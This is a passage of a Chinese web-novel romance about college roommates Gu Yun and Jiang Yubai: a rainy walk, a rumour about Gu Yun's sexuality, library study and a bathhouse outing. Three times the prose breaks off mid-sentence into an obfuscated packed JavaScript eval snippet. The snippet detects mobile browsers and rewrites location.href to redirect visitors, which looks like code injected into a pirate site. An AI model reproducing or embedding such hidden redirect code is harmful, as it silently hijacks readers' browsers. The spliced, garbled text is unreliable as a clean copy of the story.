校车在固定地点等待,顾蕴和江予白刚到上车地点时,旁边一辆迈巴赫一闪而过,地上的污水险些飞溅到江予白身上。 顾蕴眼疾手快,站在了江予白身前,挡住了飞溅过来的污水,他自己就没那么幸运了,脏水零散地打湿他的裤腿,顾蕴低头望着被打湿的裤子,心里有一万个无语。 迈巴赫想要停到教学楼门口,就得再从顾蕴旁侧经过,这给了顾蕴看清罪魁祸首的机会。 然而当他看过去时,却发现里面的人非常熟悉,竟然是宋怀墨。 果然一碰到宋怀墨就没好事。 顾蕴嘟囔,巧妙地往旁侧一站,挡住了江予白的视线。 14.顾蕴震惊 顾蕴挡在了他的身前,江予白往旁侧偏,视线随之扫过,很巧妙地看见了坐在车内的宋怀墨。 车内除了宋怀墨和司机,好像还有第三个人。江予白眯了眯眼睛,试图从眼眸的细缝中看清那人的长相。 不认识,也不重要。 江予白淡淡地收回视线,看向顾蕴。 顾蕴撑着伞,完全不知道江予白已经看到宋怀墨了,傻乎乎地往江予白肩膀处看,“江予白,你没淋到雨吧?” …… 江予白轻叹了口气,很是配合:“没淋到。” 大雨声掩盖了叹气声,顾蕴没听到,否则他一定会问江予白为什么叹气。 迈巴赫停在教学楼门口,宋怀墨理了理领带,侧头,语气异常冷漠:“你可以下去了。” 唐小酒唯唯诺诺地缩了缩脖颈,哀求地看着宋怀墨,“宋先生,外面雷声太大了,我害怕,求求您不要……” 宋怀墨愤怒:“不要学他!” 他没有学他,他也害怕打雷。 唐小酒想反驳,但余光看见宋怀墨满脸愤怒,他又不敢再说话。 唐小酒吸了吸鼻子,嗫嚅地张了张嘴,在宋怀墨气愤的眼神下,瑟瑟地伸手拉开车门。 伸手的动作露出了白皙的手臂,手臂上青紫的痕迹额外明显,疤痕新旧交替,看上去触目惊心。 宋怀墨这会儿没有什么怜香惜玉的心思,皱眉一脸冷漠地看着唐小酒下车。 是唐小酒自己说要来这边,他能顺路把他捎过来,唐小酒应该感到万幸才对,在他让他下车后,作出这样的表情是什么意思? 他又不欠他好几百万。 唐小酒下车后,宋怀墨伸手抹了抹头发,将烦躁的情绪抛在脑后,嘴角勾起一抹自信的笑。 一下车,大风就把他精心打理的发型吹乱,宋怀墨伸手挡风,没挡住,嘴角险些被气歪。 风雨比他想象中的更大。 顾蕴和江予白撑着一把伞,顾蕴个子高一点,他撑着伞,江予白站在他身侧 顾蕴的伞在来的路上被大雨吹烂,现下只剩破烂的伞骨在垃圾桶里淋着雨。 两人被迫站在了同一把伞下,中间的距离仿佛隔了一条银河,看起来非常有距离感。 顾蕴很有绅士风度地隔开了两人之间的距离,身体绝不往江予白那侧靠近,伞却全遮江予白头上,短短几步路,他的肩膀已经湿透。 刚坐上校车,校车司机就透过车窗瞧见了身后的人,“小伙子又是你啊,这是接到室友了?” 顾蕴侧着肩膀收伞,往外甩了甩雨伞上的水,闻言一看,才发现说话的司机正是送他来的那个司机。 江予白放下帽子,额间碎发看起来很是干爽,对比顾蕴被淋湿的肩膀,他看着被保护得很好。 宿舍门锁一响,王明亮就从里火急火燎地跑过来帮忙开门,抬头的那一刻,王明亮愣了一下,“蕴…江哥,你们回来了啊。” 如果他没记错的话,江予白身上的衣服是顾蕴的。 这两人?背着他干什么去了? 王明亮不懂,凑着看了好一会,也没发现什么问题。 他想了想,没想明白,又坐回自己的位置想了想。 顾蕴换了身衣服,拿着毛巾擦干被打湿的头发,他动作随意,大手在发丝间头发穿梭,头发被擦得凌乱蓬松。 王明亮一拍大腿,“我想起来了!” 他动作大,声音毫不收敛,连向来波澜不惊的江予白都被他的动作吸引。 顾蕴把毛巾卷在手腕:“想起什么?” 王明亮靠近顾蕴,附在他耳边悄声询问:“蕴哥,你是不是在追江予白?” 说完他还偷偷摸摸地看了一眼江予白,眼底的情绪很复杂,大约是三分心虚,四分八卦,三分激动。 顾蕴怀疑因为刚才淋雨,他的耳朵进水了,不仅如此,这水应该是从他的耳朵进到了王明亮的脑子里,不然王明亮怎么会问出这么惊悚的话。 顾蕴惊呆了,嘴角张成了O型,“王明亮,你是不是疯了?” 王明亮:? 王明亮后退一步,摸了摸脑袋,又问:“不是,你真没追吗?” “怎么可能!”顾蕴不懂王明亮的猜测从哪冒出来的,总之他觉得这个想法很离谱。 他和江予白是室友,更近一步也只能是朋友,怎么可能会是追求者和被追求者的关系。 这绝对不可能。 “可是我印象中,你是gay啊。”顾蕴鲜少在宿舍表现出这么波澜起伏的情绪变化,王明亮有些怕他又变回原来的顾蕴,往后退了一步,小声嘟囔道。 他虽然小声,但这个声音放在空荡的宿舍却是完全不小的,足够顾蕴听见,甚至足够江予白听见。 只是这一句还不够,王明亮又说道:“而且,哪有室友会冒着大雨去追另外一个室友的,又不是对象。” 后一句话尚且忽略不计,前一句话足够让顾蕴傻眼。 死去的记忆在此刻攻击着他。 顾蕴的脑袋清晰地冒出了穿过来的第一天,他在原主手机看到了那些聊天记录。 原主是个gay。 他的室友竟然都知道。 击破顾蕴防线的,是江予白的视线也落在了他身上,带着疑惑与探究。 顾蕴:“我说我是直男你信吗?” 在穿到这里来之前,顾蕴的脑袋里甚至没有gay这个概念。要说是gay,那也是原主,不是他。 他说自己是直男,那也不算撒谎。 顾蕴的高中管理严格,从没有男女同桌的先例,顾蕴三年的同桌都是男生,他接触了那么多男生,完全没有任何心动的感觉,所以他肯定是直男。 王明亮没有回话,顾蕴语气十分坚定,强调:“我是直男。” “好吧,你是直男。”王明亮接话,顺着顾蕴说道,但他的表情看起来好像并没有完全相信。 江予白放下手中的吹风机,吹风机落在桌面,发出了沉闷的声响,顾蕴恍若找到判案的判官,求助似的看向江予白。 顾蕴问:“江予白,你信我吗?” 江予白:…… 他也不知道顾蕴在干什么,难不成他要告诉顾蕴,一个月前,他因为拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175327|149585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝顾蕴的表白,而后被恼羞成怒的顾蕴删掉了联系方式。 江予白自然不可能这么说,他在顾蕴期盼的眼神下,很敷衍潦草地点了点头,“信。” “你看,江予白都相信了,我就是直男。”顾蕴斩钉截铁道。 王明亮狐疑地看了眼江予白,这回是真的相信了。 他滑跪道歉:“对不起蕴哥,是我误会了。我就说你看着也不像gay啊,我的第六感果然非常准确。” 顾蕴从大一入学,住进宿舍的那天起,他就在宿舍里大声宣扬自己是gay,这也是王明亮虽然觉得他不像,但是一直默认为他不是直男的原因。 顾蕴澄清了,王明亮此刻非常自信,“我的第六感一定会支撑我安然度过期中考试的。” “没错!”顾蕴非常捧场,赞同道。 期中考试就在一个月后,前两天学委提起这件事的时候,王明亮的天仿佛快塌了。 顾蕴的天勉强靠他天天去图书馆支撑,但这也并不完全能支撑起他。 要知道顾蕴来这才一个月不到,他天天学,但总感觉学不完,他快要淹死在知识的海洋了。 王明亮一提起这件事,成功地吊起了顾蕴的心神,他原想借着下雨天躺一会,听到王明亮这么说,擦干头发之后,老实地坐在桌子面前看书。 江予白打了个喷嚏,声音很低,不足以传到宿舍所有角落。 顾蕴没什么反应,他好像没听见。 一分钟过去了。 无事发生。 又过去了一分钟。 顾蕴站了起来,正在复习的王明亮扭头看他,在王明亮的注视下,顾蕴端着水壶,在外面接了一壶热水。 原来是渴了,王明亮收回注意力。 下一秒,顾蕴端着水壶,走到江予白的面前,体贴入微地询问:“江予白,你要喝热水暖暖吗?” 王明亮看了一眼,心想顾蕴真的长大了,懂事了。 顾蕴的水壶很大一个,是他买来专门装热水的,但是这是他第一次把水壶端到其他人面前,贴心地询问对方要不要喝热水。 江予白也有一点意外,但他没有拒绝顾蕴的好意,他把自己的杯子递了过去,顾蕴接过,提着水壶倒了满满一杯水。 顾蕴把手中的杯子小心翼翼地递过去,玻璃杯身滚烫,杯口处还残留着水珠,流转着光泽。江予白接过杯子,手掌触碰到杯身,不可避免地碰到了顾蕴的手指。 他的指尖像被烫到一般,也不知道是因为水杯过热,还是因为别的。 给江予白倒完水后,顾蕴端着水壶就坐了回去,他给自己倒了一杯之后,突然又感觉自己好像遗忘了什么东西。 反应过来后,意识到他漏了王明亮。 虽然王明亮不是敏感多想的人,但同在一个宿舍,这样的行为实在不应该,顾蕴又端着水壶,拍了拍王明亮的肩膀,一视同仁,非常真诚:“我给你倒水?” 王明亮丝毫没有察觉到自己被短暂地忽略过,他也很有礼貌,“谢谢!” 唯独江予白手捧着水杯,眼眸低垂,若有所思地望着波动的水面。 15.睡姿可爱 得益于王明亮提醒,一想到自己原先是gay,还在宿舍大肆宣扬,顾蕴就有一点不自在。 但好在最近大家都在奋战期中考试,顾蕴的那点不自在更像是忙里偷闲间的胡思乱想,有一点存在感但不多。 原主是gay,他又不是。 他是直男他怕什么不自在! 顾蕴逻辑自洽,尝试着调整自己的心态,但是很可惜,他的努力并没有完全成功。 顾蕴还是有一些不自在,但他没办法改变宿舍其他人,只能改变自己,因此这种不自在表现在,顾蕴待在宿舍的时间越来越少。 正逢期末,顾蕴这种行为倒也不太突兀。 他甚至以为自己表现得天衣无缝,毕竟王明亮没注意,江予白也没……江予白好像注意到了。 顾蕴洗漱完,下半身穿着短裤,上半身披着新买的浴巾,浴巾没遮严实,肩膀一抬就会露出常年藏在衣服底下的白皙肌肤,若是浴巾不小心掉下去,甚至会露出雪白地里的那一点红。 顾蕴把衣服丢进洗衣机,大大咧咧地准备踏进宿舍里,走前一回头,在镜子里瞥见了裸露在外的肌肤。 该死的魔咒又出现在他的脑袋里。 原主是gay。 他要注意形象,免得让室友以为他在偷偷摸摸骚扰他们。 顾蕴一提浴巾,重新整理了一番,只露出胳膊,不该露的地方遮得严严实实,看起来男德满分。 整理好后,顾蕴迈出了自信的步伐,大步走进宿舍。 “顾蕴。” 清冷的声音响起,顾蕴一激灵,他怎么感觉这两个字从江予白喊出来好似额外好听。 顾蕴摇了摇脑袋,试图甩掉这奇怪的想法。 只是很可惜,这种想法一旦在脑海中出现,就像扎根了一样,完全没办法忽略。 江予白微微拧眉,不懂面前这个人为什么突然走神,他又问了一遍:“顾蕴?” 顾蕴猛地回神,目光有些闪躲,“怎么了?” 江予白:“你最近一直在图书馆学习吗?” 江予白直视顾蕴,视线从他的脸上扫过,落在了裸露在外的臂膀上。 顾蕴的肩膀宽阔结实,肌肉线条流畅,像是经过精心雕刻,既不过分凸起,也不显得单薄,反而给人一种恰到好处的力量感。 但是顾蕴穿上T恤的时候,肌肉的轮廓会被遮掩,因此江予白还从未注意到他身材这么好。 不对。 他摸过。 江予白垂着眼眸,上次他还不小心碰到顾蕴的胸肌,只可惜已经忘记了是什么手感。 顾蕴回答的心不在焉,没注意江予白的视线:“对啊,怎么了?” “没什么。”江予白嗯了一声,很快说道,“我以为你在躲着我们。” 顾蕴一惊,瞳孔微缩,一方面为江予白的观察力所震惊,另一方面又有些害怕江予白完全看透他的想法。 他像一个透明人一样无处可逃,但此时嘴还很倔强地否认,“没有啊,你想多了,我怎么会躲着你们呢?这可是宿舍,你们可是我的室友。” “而且我真的是直男。”说到最后,顾蕴的声音都变小了,但很快他又理直气壮地谴责对方,“作为室友,你们怎么可以怀疑我的真心!” 倘若顾蕴好好解释,这句话还有可信度,但他叽里咕噜冒出一大堆话,这些话险些把江予白淹没。 王明亮被他糊弄住,连忙道:“蕴哥,怎么会呢?你别多想,我可是百分之百相信你的。” 别的不说,王明亮确实是百分百相信他,这毕竟是王明亮的直觉。 但江予白有些迟疑,他不像王明亮那样,只是淡淡地说了一句,“没有那当然是好的,不要因为这件事影响我们宿舍的感情。” 顾蕴:(⊙o⊙)? 这话怎么不像从江予白嘴里说出来的。 只不过没想到江予白竟然承认他们宿舍的感情! 这跟江予白的人设塌方一样让人震惊,顾蕴沉浸在这种震惊之中,点了点头附和道:“放心吧,那肯定不会影响的。” “嗯。”江予白像是认可了他的说法。 顾蕴松了口气,就在他以为对方要放过自己的时候,江予白继续道:“你明天也去图书馆吗?” 顾蕴:“那当然,考前我都会去的。” 江予白:“我跟你一起去吧。” 顾蕴:“什么?” 顾蕴以为自己听错了,直到江予白又复述了一遍,他才意识到对方没有开玩笑,是真的想跟他去图书馆。 “你……你怎么会想着跟我一起去?”顾蕴问。 江予白疑惑:“很奇怪吗?” 这跟你的人设完全不一样啊!你不是白月光吗?!怎么屑于跟小小炮灰一起去图书馆啊。 顾蕴在内心狂喊,但是面上却波澜不惊,没有任何变化。 他强迫自己平静下来:“不奇怪。” 江予白一眼就看透了顾蕴的想法,他还真没想到他在顾蕴心里是这样的形象,于是江予白解释道:“我要挂科了,不去图书馆不行。” 王明亮原本还在看书,听到这句话一激灵,脚一蹬墙,椅子就滑到了寝室中间:“天呐,天理难容!你要是挂科了那我是什么?” “那我是不是得埋地里了?或许老师可以给我一个负一百分。”王明亮深思。 白月光自然有一切完美的品质,相貌只是他最不值得一提的优点,除去漂亮精致的外貌,他还有聪明的大脑。 江予白说的这句话属实是谦虚了。 他的成绩次次都是专业前几,反观王明亮,年年排后,再看顾蕴,挂科次数都快数不清了。 现在前几说要跟倒数第一二去学习,这不是倒反天罡是什么? 还不等江予白说话,王明亮自顾自地说道:“明天我也要去,你们去的时候记得叫我。” 顾蕴还没来得及拒绝呢,这下连拒绝的机会也没了,王明亮把他安排得明明白白了。 顾蕴勉为其难:“好吧。” 睡前王明亮诈尸,脑袋探出来,幽幽道:“顾蕴,你一定要记得叫我啊。” 顾蕴无奈:“好。” 江予白有样学样,语气低沉:“顾蕴,你也一定要记得叫我啊。” 顾蕴:“……好的。” 江予白没有睡。 黑夜中,他坐了起来,眼睛望着微微亮的手机屏幕。 手机屏幕上是关于唐小酒的个人资料。 —— 顾蕴的生物钟差不多已经固定,早上一到点,闹钟还没响他就醒了。 他还记得昨晚答应王明亮和江予白的事,爬下床之后利落地把两人叫醒。 倒是很出乎他的意料。 原以为赖床的会是王明亮,但没想到实际上起不来的却是江予白。 顾蕴洗漱完,回来一看,江予白还在睡觉。 倘若昨晚江予白没有最后那一句,顾蕴此刻必然是不会把他叫醒。 但是昨晚那句“顾蕴,你一定要记得叫我啊”刻在了顾蕴的脑袋里,他必须得把江予白叫醒才能给对方一个交代。 在不知道什么时候,宿舍三个人都买了床帘,晚上床帘都遮的严严实实,只有白天会打开。 此刻江予白的床帘就闭合着,遮住了他的身躯。 顾蕴隔着床帘喊了几句,没有一句是得到了回应的。 他想了想,默念:没事哒没事哒,是江予白自己让我喊的。 顾蕴靠近,脑袋探进了江予白的床帘,伸手戳了戳他的手臂。 江予白的身体轻轻蜷曲,睡姿很乖,枕头上的脸庞显得格外宁静,脸颊微微陷进柔软的羽毛之间,形成了一道浅浅的印痕。 此刻他的眼睛紧闭,长长的睫毛像把小扇子,看起来恬静且无辜,和平日里清冷的模样好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看到这个表情包的第一秒顾蕴就觉得非常合适,他毫不犹豫地发了过去,随后关掉手机,沉浸在书里。 至于到底有没有学进去,那就只有顾蕴知道了。 江予白发完就没再看手机,顾蕴发过来的表情包他一直到下午,快到顾蕴平时离开图书馆的时间才看到。 顾蕴正在收拾书包,他先把书按顺序整理好,再一本一本放进书包,随后再是笔和草稿纸,最后才拉上书包拉链。 他的小动作看起来和他发过来的表情包还真有点像,江予白思考。 顾蕴低着头,嘴唇轻轻抿着,唇形完美,透露出一丝不易察觉的温柔,但其实顾蕴侧脸棱角分明,线条流畅,宛如精心雕刻的石膏像,看上去是有一点点严肃的,只不过她平时爱笑,冲淡了这一点严肃。 顾蕴的东西收完了,有些意外地看向江予白,小声询问:“你收好了?” 这个点差不多是大家吃饭的点,他们的周围已经没什么人在了,即便是正常说话也不会影响到别人。 江予白点了点头,拿着书包站了起来。 一出图书馆,王明亮就发来询问:【两位大哥,准备去吃饭了吗?】 昨天顾蕴有说过他在图书馆学习的具体时间,王明亮大概是记住了,消息发过来的时间卡的刚刚好,正赶上两人出图书馆。 顾蕴:【准备去呢,到食堂门口了,你要吃什么吗?我们给你带。】 王明亮一个语音电话打了过来,江予白和顾蕴的手机同时响起。 两人对视一眼,接通了语音电话。 王明亮激动的声音从对面传来,“我们去泡澡按摩吧!” 顾蕴:??? 16.又失眠了 顾蕴大为震惊,他不懂王明亮怎么会突然想去泡澡按摩。 不过王明亮很快解释了原因,“我中午回去的时候看到有人发传单,这个套餐特别优惠,三个人才一百五!” 还不等两人说话,王明亮又叽里咕噜道:“今天学习累了,必须要犒劳自己,你俩肯定更累,那不得好好奖励一下!我还没有去过呢,陪我一起去吧,求求了,一个人去的话要一百,我好穷我好穷求求了陪我一起去吧。” 一个人一百和三个人一百五,对比起来确实是三个人更划算,但是……王明亮说他今天学累了,要犒劳自己,这顾蕴不是很能理解。 顾蕴和江予白面面相觑,被王明亮一套组合拳打的不知道该说什么。 眼瞧着对面沉默,王明亮又紧接着说道:“那里不全是搓澡按摩,还有晚饭吃呢,还能包晚饭,多好啊,陪我去吧陪我去吧陪我去吧,那可是自助餐晚饭,我看见好多种类,五十块钱买不了吃亏买不了上当。” 顾蕴不知道要怎么说,侧头看向江予白,等着他先开口。 顾蕴原本是很穷的,但是前段时间他找了个家教,几次下来,现在他的积蓄完全够去搓一百次澡。 江予白移开视线,避开了与顾蕴对视,“在哪个位置?” 看来有戏! 王明亮激动地手舞足蹈,从宿舍蹦了起来,连忙捡着传单拍照发到了群里。 “就在学校附近,顾蕴,你去吗?”江予白把问题抛了回去,又丢给了顾蕴。 看起来环境还不错,这家店大概是想低价引流,王明亮听到了江予白的询问,知晓此刻选择权掌握在顾蕴手中,他生怕顾蕴不同意,凑在手机面前说了好多好听的话。 “去吧。”顾蕴松口,再不答应他都怕王明亮顺着网线过来打他。 王明亮欢呼,换鞋连忙坐校车赶过来。 顾蕴和江予白两人则从图书馆出发,搓澡店就在图书馆外面那条街,离他们不远,倒也没有坐校车的必要。 江予白自然也是知道这点,两人默契地选择一起走过去。 差不多是下课的时间,成群结队去吃饭的人很多,但顾蕴和江予白两人走在人群中,依旧鹤立鸡群,额外突出。 顾蕴也不知道要说些什么,平时觉得很近的距离,在今天好像额外远。 走了两步之后,他又觉得安静的实在是尴尬,便先开了口:“江予白,你要跟我一起去打篮球吗?” 江予白眉毛挑起,有些惊讶,“怎么这么问?” 顾蕴词穷,不知道该说什么。 他想了想,胡扯:“打篮球有很多好处,包括但不限于长高、变得更健康,还能交到很多好朋友,就没那么容易被骗了,实在是被骗了的话,打篮球还能锻炼身体,谁骗你了到时候可以一篮球砸死他。” 他言之凿凿,语气中透露出自信与坚定,越想越觉得自己说得有道理。 江予白:“我不喜欢打篮球,换种别的吧。” 现在已经不需要再问顾蕴,江予白完全知晓顾蕴嘴中说的被骗是被谁骗了。 只是他不懂,为什么顾蕴会知道宋怀墨有问题,而且还那么坚定地认为他会被宋怀墨欺骗。 江予白看起来有那么笨吗? 短短时间,顾蕴的肚子里已经想好了各种劝告的说辞,他本以为等来的会是江予白的拒绝,但没想到江予白竟然同意了。 只不过是换种别的而已,顾蕴会的可太多了。他想了想,给出了第二种选择:“我学过防身术,这个可以吗?” 说完,顾蕴停下脚步,目光紧紧锁定在江予白的脸上,眼神中充满了期待和专注。他的嘴唇轻轻抿着,呼吸似乎也变得轻缓,生怕错过了江予白即将说出的每一个字。 与周围行走的人群不一样,顾蕴周围的空气都弥漫着一种静默的等待,这种期待实在是太过明显,江予白似乎无法开口拒绝。 他最后也没有拒绝。 江予白点了点头,可以两个字从他嘴中轻轻冒了出来。 顾蕴兴高采烈,比王明亮的反应更加激动,要不是周围人挤人,他还真想抱着江予白转两圈庆祝一下。 “有这么开心吗?”江予白小声嘟囔,声音被埋在人群中,也消失在顾蕴的耳畔,他完全没听见。 顾蕴在心底合计着时间,建议:“那我们期中考试完之后开始吧?刚好可以准备准备东西。” 江予白矜贵地点了点头:“可以。” 好奇怪,明明江予白被宋怀墨骗不骗也不关他的事,但是一想到江予白答应他要学防身术,顾蕴心底莫名其妙地有些高兴。 顾蕴也不懂这种高兴来自哪里,但是管他呢,反正江予白答应了,这就是好事,就是值得高兴。 顾蕴才不要想那么多。 夕阳的余晖洒在校园的小道上,路上熙熙攘攘,学生们三三两两地结伴而行,有的急匆匆地赶往食堂,有的悠闲地漫步在小道上。 江予白好奇地询问:“顾蕴,其实我一直有一个问题。” 顾蕴回头:“嗯?” “你为什么那么想要我远离宋怀墨?你是知道点什么吗?或者说你看到了什么?”江予白问得很直白,没有任何弯弯绕绕。 顾蕴震惊于他的直白,但转念一想,江予白会好像也不奇怪。 “当然,你也可以选择不回答我。”江予白没有逼问,相反他很坦然,给足了顾蕴选择的权利。 对比起江予白的坦然,顾蕴再不说就显得有些顾虑太多。 许是江予白的态度影响了他,顾蕴没有思考太久,说道:“我确实看到了。” “上次下雨,其实宋怀墨也来找你了,我看到他车里有另外一个人。” “还有上次,打篮球的时候,他还想伸手推另外一个球员,这种行为太不光明磊落了,他人品不行。” “还有一次,篮球赛前的培训,我看到有一个人拦他的车,两人关系看起来很不一般。” 最后,顾蕴下结论:“这个人人品不行,他配不上你。” 顾蕴不说还好,一说就停不下来,一轱辘把他知道的全说了出来,江予白都没想到他会说这么多。 他点头,应道:“好,我知道了。” 顾蕴举的这些例子,好像都发生在他第一次让江予白远离宋怀墨之后,只是顾蕴这会儿忘记了这茬,江予白也没提。 两人默认这件事就这么过去了。 顾蕴跟江予白有一搭没一搭的聊着,也不知道聊了些什么,总归终于到了约定好的搓澡店。 也是赶的巧,他们两人刚好和王明亮在门口碰见,差不多是同时到达。 王明亮一见他俩,热情似火,表现得跟他俩的儿子似的,顾蕴都有些招架不住,更别提江予白了。 但江予白有终极秘密武器,眼神杀,他轻飘飘地看了一眼王明亮,王明亮就老实了。 他不再骚扰江予白,转而将目标移向了顾蕴。 顾蕴伸出两根手指戳开他,义正词严:“王明亮,这样影响不好。” 王明亮彻底老实了,一下收敛了许多,转眼就变成了正常人。 这是王明亮约的局,他早早在软件上买好了团购,他去前台核销,顾蕴和江予白站在旁边等着他。 王明亮是个正宗的北方人,搓澡的流程他烂熟于心,顾蕴和江予白就完全是门外汉了,他们站着等王明亮过来带路。 明明是第一次来,但王明亮莫名地熟悉,就好像他是这里的老板。 已经是吃晚饭的时间了,他们三个人都还没吃饭,搓澡前王明亮先带着他们到了自助餐的地方。 不得不说,王明亮很会选。 虽然价格便宜,但是环境还挺不错,餐厅在拐歪处的角落,地方不大,但种类齐全,面食、凉菜、水果和糕点都有,卖相很好。 澡堂子开在学校附近,周围的顾客大多都是年轻人,叽叽喳喳的实在是热闹,顾蕴随便吃了些,吃好了在里面转悠了一圈。 顾蕴好奇地看着挂在门上的三个字,搓澡堂,他推开门,走了进去。 搓澡堂内热气腾腾,一进门一股温暖湿润的气息扑面而来,里面的空间宽敞明亮,天花板上悬挂着几盏暖黄色的灯泡,看上去很是温馨。 只有王明亮从宿舍出发,他们的衣服都是王明亮带过来的,顾蕴不知道流程,也没有服务员可以询问,他抱着衣服自己去淋浴区洗了个澡。 顾蕴洗完澡,一出来就碰见了王明亮和江予白。 王明亮一见到顾蕴就哈哈大笑:“我就知道你在这!” “你跟我一起吧,我们去泡个澡,然后再去搓个澡!”不等顾蕴拒绝,王明亮拉着他就往大水池里走。 顾蕴站在水池旁边犹豫,王明亮跟跳水似的蹦了进去,溅起来的水花蹦了顾蕴满脸,刚换的衣服全湿透了。 江予白早就预料到会有这一幕,他躲得远远的,看着顾蕴被水溅,没忍住,噗嗤一声笑出来。 江予白平日里不笑,他不怎么笑,也不是很爱笑,看起来很有距离感,此刻弯腰捂着肚子笑,更像是落入了凡间,一举一动都非常生动。 但顾蕴此刻没有欣赏这些,他眼疾手快,搂着江予白的肩膀,快步走到水池边,直挺挺地往水里倒。 江予白反应过来的时候,人已经在水池里了。 …… 顾蕴在旁边笑得一脸开心,江予白捧起一掬水,径直往顾蕴脸上去,顾蕴还在笑呢,回过神来头发也被打湿了。 他伸手抹掉脸上的水珠,不可置信地看着江予白,内心完全不肯相信这竟然是江予白做的。 江予白泡在水里,热水轻抚着他的肌肤,水面上漂浮着淡淡的蒸汽,他的腰身在温润的水中若隐若现,显得格外纤细,像精细雕琢的工艺品一般。 猝不及防看到这一幕,顾蕴有些发愣。 顾蕴的话传到江予白的耳中,他对此倒没太大反应,只挑了挑眉。 顾蕴有些看不懂了,这到底是不是挑衅? 说是吧,但江予白的性格又不像会挑衅别人的人,但是要说不是的吧,可这个表情完全就是赤裸裸的挑衅。 顾蕴有些迷惑,他站在水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200379|149585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池里,低着头思考。 顾蕴比较高,水池只没过他的腰,这个姿势正好将脑袋暴露在江予白的面前。 他的脑袋再次被水袭击了。 这次顾蕴是真的确认了,就是江予白!他就是故意的!而且一点也不讲武德! 顾蕴的T恤因为被水泼而变得透明,贴在身上,显露出健硕的胸膛轮廓。 江予白泼完人之后,面上依旧清冷,完全看不出任何歉意。 这人太坏了,但是顾蕴就是有些不忍心泼他。 只是这个气不得不出,顾蕴看向一旁,将目标对准了王明亮。 顾蕴捧着水,往王明亮那侧泼,他打篮球,投篮一向很准,泼水前就预测到了王明亮闪躲的方向,王明亮一躲,水正中他的脑袋。 他原本安心泡澡,倒无辜受牵连。 顾蕴瞧见他中招,指着他哈哈大笑,王明亮也不甘示弱,捧着水就冲了过来。 他体积大动作也大,水的阻力十足,等他过来时,顾蕴已经闪到了他身后,又泼了他一脸。 江予白在他身上泼的水,他倒是全还给了王明亮。 王明亮气急败坏,举着手臂拍打着水面,水花四处飞溅,江予白也没能幸免,一个不小心,他就被打湿。 湿漉漉的水珠顺着江予白的脸颊滑落,几缕发丝凌乱地贴在了前额,明亮有神的眼眸此刻因为水的冲击而微微眯起,眼角泛起一抹水光,显得有些迷离,睫毛沾湿后,更显得浓密而卷翘。 顾蕴只是往那边看一眼,但就只是看一眼,他就屏住了呼吸,恨不得拿相机拍下来。 然而还不等顾蕴细想他的反应,下一秒他就被王明亮袭击。 顾蕴:…… 王明亮报仇雪耻,笑得嘴角咧开,根本停不下来。 顾蕴像被大暴雨淋湿,浑身上下没有半点地方幸免于此。 好在水池的水温热,倒也完全不冷。 泡了差不多十几分钟,顾蕴才从水池里出来。 搓澡区就在水池旁边,几位大爷在旁边搓澡床面前坐着,肩膀上搭着一块布。 顾蕴穿书前就是南方人,还从未来这种大澡堂子搓过澡,他对北方的搓澡文化倒是非常好奇,这会儿来都来了,简单地克服了一下心底的扭捏,选了个床位就慢悠悠走了过去。 王明亮还在水池里泡着,他秉承着泡久一点才好搓,试图把自己泡肿再去搓。 顾蕴第一次知道原来搓澡还分这么多种类,他选了个红酒搓,大爷手下毫不留情,一下给他痛得嗷嗷叫。 “小伙子还挺干净啊。”大爷乐呵呵的,就乐意听人嗷嗷叫,“搓完之后更干净。” 顾蕴:…… 顾蕴默默地咬了咬牙,不得不承认王明亮的选择非常明智。 王明亮出来的时候,正碰上顾蕴搓完,瞧见他身上这红一块儿那红一块,险些笑惨了。 然而等到他去搓的时候,王明亮脸上的笑再也维持不起来,惨叫声响彻天。 江予白不乐意搓澡,他跳过了这个步骤,清洗完之后在一旁待着。 顾蕴凑了过去,试图哄骗他也去试试。 江予白轻飘飘地看他一眼,收回视线,非常坚定地拒绝,甚至半秒都没有犹豫,“不去。” 顾蕴继续努力:“你去试试,真的很好玩,感觉搓完人都轻了。” 江予白:“……不去” 顾蕴举着手臂,试图说服他:“你闻闻,搓完很香的。” 两人的距离实在是很近,但是刚才都一起泡过澡了,这点距离也不算什么,江予白倒也没往旁边挪。 顾蕴的手臂伸在他的面前,看起来结实有力,江予白伸手推开,“别想骗我。” “好吧,不骗你。”顾蕴努力失败,叹息,“太可惜了小江,你不知道你错过了什么。” 顾蕴力气大,江予白用力,竟然没能完全推开,他有些意外地看向顾蕴,正对上顾蕴得意的表情。 他还真是第一次发现顾蕴有点孩子气。 江予白转移话题:“我跟你学了防身术之后,也能达到这种效果吗?” 顾蕴果然轻易相信了,他收回手臂,“应该可以吧,不过我比你胖一点,肌肉会更明显。” 江予白高高瘦瘦的,T恤下的身体看起来很容易折断,很是脆弱的样子。 有时候顾蕴对王明亮更加大大咧咧,但触碰江予白时,生怕自己力气太大,会折断江予白的腰或者手臂。 